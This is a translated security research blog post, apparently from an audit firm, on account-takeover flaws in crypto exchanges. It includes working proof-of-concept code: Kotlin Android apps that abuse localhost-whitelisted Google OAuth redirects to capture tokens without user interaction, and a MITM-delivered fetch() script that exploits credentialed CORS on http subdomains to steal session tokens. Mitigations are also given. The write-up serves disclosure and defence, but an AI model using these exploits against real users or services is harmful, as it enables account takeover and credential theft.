我们如何攻破交易所:深入探究认证与客户端漏洞

osecio 发布于 2025-10-17 阅读 13

文章深入分析了加密货币交易所中因OAuth和CORS配置不当导致的账户接管漏洞。作者详细介绍了Google OAuth的GSI新流程和传统流程,以及其在Google Cloud Console中的配置差异。重点展示了如何利用本地主机回环地址(localhost)在移动应用中窃取OAuthToken,以及利用CORS配置中的HTTP协议漏洞和浏览器差异进行中间人攻击。文章提供了具体利用代码和修复建议,如禁止生产环境使用localhost、移除HTTP源的CORS配置、启用HSTS等。

我们如何攻破交易所:深入探讨认证与客户端漏洞

利用 OAuth

我们的主要研究重点是最近在一些审计中发现的漏洞。一个常见的问题与 OAuth 配置错误有关,这些配置错误可被利用来实现账户接管。为了理解漏洞及其利用方式,我们首先需要深入了解不同的 OAuth 流程以及可以在 Google Cloud Console 中进行的配置。

Google 身份验证流程

在研究过程中,我们发现了多种需要不同利用方法的 Google 身份验证流程。较新/最新的流程称为 GSI,主要使用 postMessage 与依赖方(RP)通信,而旧流程主要使用 redirect_uri 将Token发送回 RP。

GSI(新流程)

GSI 流程也有两种方式对 RP 进行用户身份验证:

  • 使用 FedCM API
  • 不使用 FedCM API

FedCM(联合凭据管理器)是一种新的浏览器 API,允许用户通过第三方 IdP 在 RP 上进行原生身份验证。

FedCM 方法

FedCM 方法基本上遵循这个用户体验。用户可以通过点击登录按钮(会打开一个“选择账户”提示窗口)或通过一键式用户体验来登录(见下方图片)。

正常流程,点击“登录”按钮:

点击“使用 Google 账号登录”按钮后的 FedCM 登录流程

打开页面时显示的一键式弹窗:

页面加载时自动显示的 Google One Tap 登录弹窗

两种流程都使用 FedCM API 通过 Google IdP 服务进行身份验证,该 API 会向 IdP 服务器发起一些 CORS 请求以返回Token。用户首次认证后,过一段时间再次访问同一网站时,可以通过 FedCM 自动重新认证 自动完成,但这需要满足一些前提条件。

非 FedCM 方法

该方法使用弹出窗口(或 iframe)打开 Google OAuth 同意页面,并通过 postMessage 返回Token:

  1. 用户点击登录按钮
  2. RP 打开一个弹窗/iframe 到 https://accounts.google.com/o/oauth2/v2/auth,并携带一些重要参数,如 client_idorigin
  3. 用户点击“继续”按钮授权认证
  4. 用户被重定向到 https://accounts.google.com/gsi/transform
  5. /gsi/transform 通过 postMessage 将Token发送回 RP(经过一些 SYN/ACK 消息后)

OAuth 2.0 旧流程

旧流程也将用户重定向到 Google OAuth 同意页面,然后通过 URL 中提供的 redirect_uri 返回Token,该 redirect_uri 由白名单配置验证:

  1. 用户点击登录按钮
  2. RP 打开一个弹窗/iframe 到 https://accounts.google.com/o/oauth2/v2/auth,并携带一些重要参数,如 client_idredirect_uri
  3. 用户点击“继续”按钮授权认证
  4. 用户被重定向到 redirect_uri,Token位于查询参数或 location.hash

不同的配置

这两种流程必须在 Google Cloud Console 中以不同方式进行配置。我们可以控制两个白名单配置:

  • 已获授权的来源(Authorized origins)
  • 已获授权的重定向 URI(Authorized redirect URIs)

显示已获授权的来源和重定向 URI 设置的 Google Cloud Console

上面描述的 GSI 流程不通过任何重定向将Token发送回 RP,因此已获授权的重定向 URI 在 GSI 流程中并不重要。它使用已获授权的来源来验证 RP 页面是否确实被允许使用该 client_id 进行认证。

GSI 流程中的实际验证发生在 FedCM 发出的 CORS 请求中,或者通过检查 origin 查询参数在 /oauth2/v2/auth 中进行。

在旧流程中,/oauth2/v2/auth 端点传入的 redirect_uri 参数会与已获授权的重定向 URI 进行验证。

注意: 新 GSI 流程也可以采用使用 redirect_uri 验证的不同流程。要执行此流程,你需要在 SDK 使用中指定 login_uri

Localhost 利用

在一次审计中,我们发现了一个与开发者在开发环境中测试 OAuth 流程方式相关的漏洞。开发者经常将 localhost 来源加入白名单,因为它在本地测试中被认为是可信的。

实际上,这只有部分正确,因为它取决于你所做的安全假设。这在移动环境中可能成为问题,因为移动应用无需太多权限即可打开 localhost Web 服务器,而且在移动设备上安装恶意应用通常不被视为严重问题,因为所有应用都是沙盒化的。但这种配置允许恶意应用“逃逸”沙盒并攻击其他系统。

利用

要利用此配置错误,我们首先需要了解目标使用的 OAuth 流程。如果 OAuth 实现遵循标准流程且未使用 Google Sign-In (GSI),我们可以通过 location.hashlocation.search 提取Token。为此,我们开发了一个 Kotlin 应用,它启动一个本地 Web 服务器:

 override fun onCreate(savedInstanceState: Bundle?){

        super.onCreate(savedInstanceState)

        // Start the Ktor web server

        CoroutineScope(Dispatchers.IO).launch {

            try {

                startWebServer()

                Log.d("WebServer", "Server started on http://localhost:3000")

            } catch (e: Exception) {

                Log.e("WebServer", "Error starting server: ${e.message}", e)

            }

        }

        // Open the Google OAuth page

        val googleOAuthUrl = "https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow"

        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))

        startActivity(browserIntent)

    }

    private fun startWebServer() {

        embeddedServer(CIO, port = 3000) {

            routing {

                get("{...}") {

                    call.respondHtml {

                        head {

                            meta(charset = "UTF-8")

                            meta(name = "viewport", content = "width=device-width, initial-scale=1.0")

                            title("OAuth Redirect")

                        }

                        body {

                            h1 { +"Google OAuth Redirect" }

                            script {

                                +"document.body.innerText = location.hash;"

                            }

                        }

                    }

                }

            }

        }.start(wait = true)

    }

在这种情况下,URL 中可以省略 prompt 参数。这样,如果受害者已经登录,OAuth 2.0 的 prompt 交互将被跳过。

如果使用了 Google Sign-In (GSI),我们发现在这种情况下可以使用 auto_select 参数触发自动重新认证,从而绕过用户交互:

    override fun onCreate(savedInstanceState: Bundle?) {

        super.onCreate(savedInstanceState)

        CoroutineScope(Dispatchers.IO).launch {

            try {

                startWebServer()

                Log.d("WebServer", "Server started on http://localhost:3000")

            } catch (e: Exception) {

                Log.e("WebServer", "Error starting server: ${e.message}", e)

            }

        }

        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse("http://localhost:3000"))

        startActivity(browserIntent)

    }

    private fun startWebServer() {

        embeddedServer(CIO, port = 3000) {

            routing {

                get("{...}") {

                    call.respondHtml {

                        head {

                            title("Test")

                            script {

                                src = "https://accounts.google.com/gsi/client"

                                attributes["async"] = ""

                                attributes["defer"] = ""

                            }

                            script {

                                unsafe {

                                    +"""

    function handleCredentialResponse(response) {

      alert("credential: " + response.credential);

    }

    window.onload = async function () {

      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);

      const client_id = oauth_url.searchParams.get("client_id");

      google.accounts.id.initialize({

        client_id: client_id,

        callback: handleCredentialResponse,

        auto_select: true

      });

      google.accounts.id.renderButton(

        document.getElementById("g_id_signin"),

        { theme: "outline", size: "large" }

      );

      google.accounts.id.prompt();

    };

                                    """.trimIndent()

                                }

                            }

                        }

                        body {

                            h1 { +"Login here:" }

                            div {

                                id = "g_id_signin"

                            }

                        }

                    }

                }

            }

        }.start(wait = true)

    }

我们还向 Web3Auth 移动端 SDK、Slush Wallet、Kukai Wallet 以及其他几个 Web3 平台报告了此漏洞。如前所述,如果用户安装了利用 localhost 重定向的应用程序,此问题可能导致无需用户交互即可实现账户接管。

注意: 每个团队都迅速响应、清晰沟通并快速发布了修复。他们的敬业精神为协调响应树立了良好榜样,并帮助确保了整个生态系统的用户安全。

如何缓解

缓解此问题的正确方法是禁止在生产环境中使用 localhost。开发者应该有一个独立的测试 OAuth 环境,使用不同的客户端 ID 用于测试目的。确保使用测试客户端 ID 生成的Token在生产环境中无效非常重要。

利用 CORS

我们在研究中发现的另一个漏洞与 CORS 配置错误以及不同浏览器如何处理混合内容请求有关。

在检查交易所其他漏洞时,我们发现了一个 CORS(跨域资源共享)配置,允许携带凭据且允许 http:// 协议用于任何子域名:

HTTP 200 OK

Access-Control-Allow-Origin: http://aa.exchange.com

Access-Control-Allow-Credentials: true

[...]

因缺乏 TLS 导致的 CORS 配置错误

这种情况需要特定的前提条件。思路是将用户重定向到 exchange.com 的一个不安全子域名,并通过拦截和篡改受害者的网络数据包来伪造响应。

然而,在通过模拟 MITM 攻击进行测试时,我们发现这种攻击在不同主流浏览器上的表现有所不同:

  • Chrome:不起作用,因为即使在同站点情况下,cookie 也不会在 http://https:// 请求中发送。
  • Firefox 和 Safari:有效,因为在不安全上下文中 fetch() 会发送 cookie。

利用

要利用此漏洞,需要遵循以下步骤:

  1. 强制受害者进入交易所子域名的不安全页面
  2. 使用 MITM(中间人攻击)向受害者传递恶意脚本
  3. 使用 fetch() 结合 CORS,利用受害者账户执行恶意操作

为了利用 CORS 问题,攻击者首先必须让受害者加载一个不安全的子域名。这可以通过伪造 Wi-Fi 或创建一个伪造的公共网络(自动打开不安全页面作为强制门户)等技术实现。

一旦重定向到 http:// 网站,如果攻击者位于相邻网络中,则有可能拦截 HTTP 请求/响应(或 DNS 解析)并篡改返回的页面。返回的页面应包含一个利用 CORS 配置错误的恶意脚本:

(async () => {

  let res = await fetch('https://www.exchange.com/api/session_token', {

    credentials: 'include',

    method: 'POST',

  });

  console.log(await res.json());

})();

在我们的研究中,发现的配置错误位于一个用于返回会话Token的 API 端点,因此影响是账户接管(ATO),但由于交易所通常有 MFA 来执行某些操作(如提款),因此存在一些限制。

缓解措施

作为缓解措施,建议从 CORS 配置中移除所有 http:// URL,包括 localhost,因为移动环境中的本地 Web 服务器可能滥用它。

提示: 配置 HSTS 策略,使其包含所有子域名,并防止浏览器加载不安全的子域名。

结论

总之,我们对交易所平台内认证和客户端漏洞的深入挖掘揭示了多个源于配置错误的漏洞。这些攻击类型展示了保护客户端应用的复杂性,因为应用可能会在不同的环境和上下文中运行。

这也说明了开发配置如果也在生产环境中使用,可能会损害应用的安全性。因此,审计人员必须始终了解应用将在/可能在哪些环境和上下文中运行,并确保配置在生产环境中使用时是安全的。

  • 原文链接: osec.io/blog/how-we-brok...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~

相关文章

0 条评论